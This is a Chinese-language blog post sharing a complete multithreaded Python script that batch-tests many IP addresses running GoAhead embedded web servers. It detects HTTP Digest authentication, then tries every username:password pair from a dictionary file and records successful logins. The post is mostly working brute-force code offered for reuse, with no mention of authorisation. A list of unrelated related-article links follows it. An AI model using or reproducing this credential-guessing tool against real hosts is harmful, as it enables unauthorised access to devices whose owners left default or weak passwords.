最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。大多数GoAhead服务器采用了HTTP Digest认证方式,并且部分服务器采用了默认账号密码,于是萌生了针对GoAhead编写爬虫的想法,通过近8个小时的编程与调试,勉强写出了个简陋的脚本,现在拿出来分享,给刚接触python的新手参考下,也请求路过的大神指点下,哈哈。

  该脚本对新手来说难点在于如何让python自动填写账号密码并登录,本人花了近两个小时参考了很多网站,觉得用python的第三方模块requests中的get()函数最方便,只需填写URL、认证方式和账号密码即可模拟登录。

  另一个难点就是多线程了,不过对于用其它语言写过多线程的人来说还是挺容易的,不懂的可以自己查资料,这里就不多说了。

  下面附上完整代码:

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time ip_file_name = 'ip.txt'
password_file_name = 'password.txt'
results_file_name = 'results.txt'
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local() #read ip_file
def get_ip():
if os.path.exists(os.getcwd() + '/' + ip_file_name):
with open(ip_file_name, 'r') as r:
list = []
for line in r.readlines():
line = line.strip('\n')
line = 'http://' + line
list.append(line)
r.close()
return list
else:
print('ip file doesn\'t exist!\n')
os._exit(-1) #read password_file
def get_password():
if os.path.exists(os.getcwd() + '/' + password_file_name):
with open(password_file_name, 'r') as pa:
list = []
for line in pa.readlines():
line = line.strip('\n')
list.append(line)
pa.close()
return list
else:
print('password file doesn\'t exist!\n')
os._exit(-1) class MyThread(threading.Thread):
def __init__(self, thread_index, ip_list, pass_list, results_file):
threading.Thread.__init__(self)
self.thread_index = thread_index
self.ip_list = ip_list
self.pass_list = pass_list
self.results_file = results_file def run(self):
local.thread_index = self.thread_index
#Calculate the number of tasks assigned.
if ip_count <= default_thread_count:
local.my_number = 1
else:
local.my_number = (int)(ip_count/thread_count)
if ip_count%thread_count > thread_index:
local.my_number = local.my_number + 1 for local.times in range(local.my_number):
try:
local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
#Check whether the target is a digest authentication.
local.headers = str(requests.get(local.ip, timeout=6).headers)
if 'Digest' not in local.headers:
continue
except BaseException:
'''
e = sys.exc_info()
print(e)
'''
continue
#Loop to submit account password.
for local.user in self.pass_list:
#sleep 0.1 second to prevent overloading of target
time.sleep(0.1)
#Get the account password by cutting local.user
local.colon_index = local.user.find(':')
if local.colon_index == -1:
print(local.user+' doesn\'t Conform to the specifications')
os._exit(1)
local.username = local.user[0:local.colon_index]
local.password = local.user[local.colon_index+1:]
if local.password == '<empty>':
local.password = ''
try:
local.timeouts = 0
#Start Digest authentication
local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
#If the status code is 200,the login is success
if local.code.status_code == 200 :
print('login '+local.ip+' success!')
self.results_file.writelines(local.ip+' '+local.username+' '+local.password+'\n')
break
except BaseException:
'''
e = sys.exc_info()
print(str(local.thread_index)+' '+local.ip+' '+local.username+' '+local.password)
print(e)
'''
#If the times of timeout is too many, check the next IP.
local.timeouts += 1
if local.timeouts == 15:
local.timeouts = 0
break
else:
continue if __name__ == '__main__': ip_list = get_ip()
pass_list = get_password() if len(ip_list)==0 or len(pass_list)==0:
print('please fill ip, username or password file')
os._exit(-1) ip_count = len(ip_list)
if ip_count <= default_thread_count:
thread_count = ip_count
else:
thread_count = default_thread_count print('start to work...')
#create threads and run
threads = []
with open(results_file_name, mode='a') as results_file:
for thread_index in range(thread_count):
thread = MyThread(thread_index, ip_list, pass_list, results_file)
thread.start()
threads.append(thread)
for thread in threads:
#wait for all threads to end
thread.join()
results_file.close() print('All work has been completed.')

  该脚本的运行流程为:

  1.读取ip.txt、password.txt文件中的内容

  2.创建线程并运行

  3.每个线程对其分配到的IP进行循环认证,先检查目标是否存在且为Digest认证方式,若为真则开始循环登录,登录过程中若多次超时则跳过对该IP的检查

  4.当服务器返回200状态码时则表示登录成功,将IP和账号密码写入results.txt,并循环检查下一个IP

  5.当所有线程将分配到的所有IP检查完毕,则程序运行完毕

批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令的更多相关文章

  1. ssh 服务器之间公钥认证方式的配置

    前言 项目中需要编写脚本在服务器之间上传或者下载文件,但没有相关服务器来测试脚本,于是就着手安装两台server,然后用ssh的相关命令去配置server之间公钥认证登录. 步骤 1. 在VM Box ...

  2. cas sso单点登录系列3_cas-server端配置认证方式实践(数据源+自定义java类认证)

    转:http://blog.csdn.net/ae6623/article/details/8851801 本篇将讲解cas-server端的认证方式 1.最简单的认证,用户名和密码一致就登录成功 2 ...

  3. spark批量写写数据到Hbase中(bulkload方式)

    1:为什么大批量数据集写入Hbase中,需要使用bulkload BulkLoad不会写WAL,也不会产生flush以及split. 如果我们大量调用PUT接口插入数据,可能会导致大量的GC操作.除了 ...

  4. 基于Token的身份认证 与 基于服务器的身份认证

    基于Token的身份认证 与 基于服务器的身份认证 基于服务器的身份认证 在讨论基于Token的身份认证是如何工作的以及它的好处之前,我们先来看一下以前我们是怎么做的: HTTP协议是无状态的,也就是 ...

  5. Java 实现 SSH 协议的客户端登录认证方式--转载

    背景 在开篇之前,让我们先对 SSH 协议有个宏观的大致了解,这样更有利于我们对本文的加深了解.首先要提到的就是计算机网络协议,所谓计算机网络协议,简单的说就是定义了一套标准和规则,使得不同计算机之间 ...

  6. http认证方式,工程部分实现

    学习过程中,被boss批评,要求去复习http协议,因此找了相关资料做成一个系列:对于http认证方式不清楚的可以参考我的上一篇文章 http认证方式https://www.cnblogs.com/j ...

  7. getJSON方式请求服务器

    register.jsp <%@ page language="java" import="java.util.*" pageEncoding=" ...

  8. Python批量检测服务器端口可用性与Socket函数使用

    socket函数 简述 socket又称套间字或者插口,是网络通信中必不可少的工具.有道是:"无socket,不网络".由于socket最早在BSD Unix上使用,而Unix/L ...

  9. Linux利用nc命令脚本批量检测服务器指定端口是否开放

    一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...

随机推荐

  1. Nginx实现集群的负载均衡配置过程详解

    Nginx 的负载均衡功能,其实实际上和 nginx 的代理是同一个功能,只是把代理一台机器改为多台机器而已. Nginx 的负载均衡和 lvs 相比,nginx属于更高级的应用层,不牵扯到 ip 和 ...

  2. VS快速注释

    注释:Ctrl+k  + Ctrl+c 去注释:Ctrl+k + Ctrl +u

  3. MapReduce浅析

    很早之前就用过Hadoop,但对MapReduce中的具体数据流向过程一直不甚明了,用Python Streamming的方式写了几个MapReduce,对这个过程有了一定的认识. 首先我们知道,Ma ...

  4. web api 路由规则和接收数据

    1:默认是不带action的 所以再访问的时候 只需要 api/控制 2:加了action 就要 api/控制器/方法名字 接收方法  传参 json 序列化传参

  5. 使用kafka connect,将数据批量写到hdfs完整过程

    版权声明:本文为博主原创文章,未经博主允许不得转载 本文是基于hadoop 2.7.1,以及kafka 0.11.0.0.kafka-connect是以单节点模式运行,即standalone. 首先, ...

  6. mvvm,如何解析一个指令表达式?

    如何解析一个指令表达式? v-model="msg==='abc'?'1':a" 完美的解决方案 1,with(vm){ return new Function('vm',exp) ...

  7. 排序算法Java实现(直接插入排序)

    算法描述:对于给定的一个数组,初始时假设第一个记录自成一个有序序列,其余记录为无序序列.接着从第二个记录开始,按照记录的大小依次将当前处理的记录插入到其之前的有序序列中,直至最后一个记录插入到有序序列 ...

  8. Python中四种样式的99乘法表

    1.常规型. #常规型 i=1 while i<=9: j=1 while j<=i: print(''%d*%d=%2d''%(i,j,i*j),end='') i+=1 #等号只是用来 ...

  9. .NET Core快速入门教程 5、使用VS Code进行C#代码调试的技巧

    一.前言 为什么要调试代码?通过调试可以让我们了解代码运行过程中的代码执行信息,比如变量的值等等.通常调试代码是为了方便我们发现代码中的bug.ken.io觉得熟练代码调试技巧是成为合格程序员的基本要 ...

  10. 新手立体四子棋AI教程(3)——极值搜索与Alpha-Beta剪枝

    上一篇我们讲了评估函数,这一篇我们来讲讲立体四子棋的搜索函数. 一.极值搜索 极值搜索是game playing领域里非常经典的算法,它使用深度优先搜索(因为限制最大层数,所以也可以称为迭代加深搜索) ...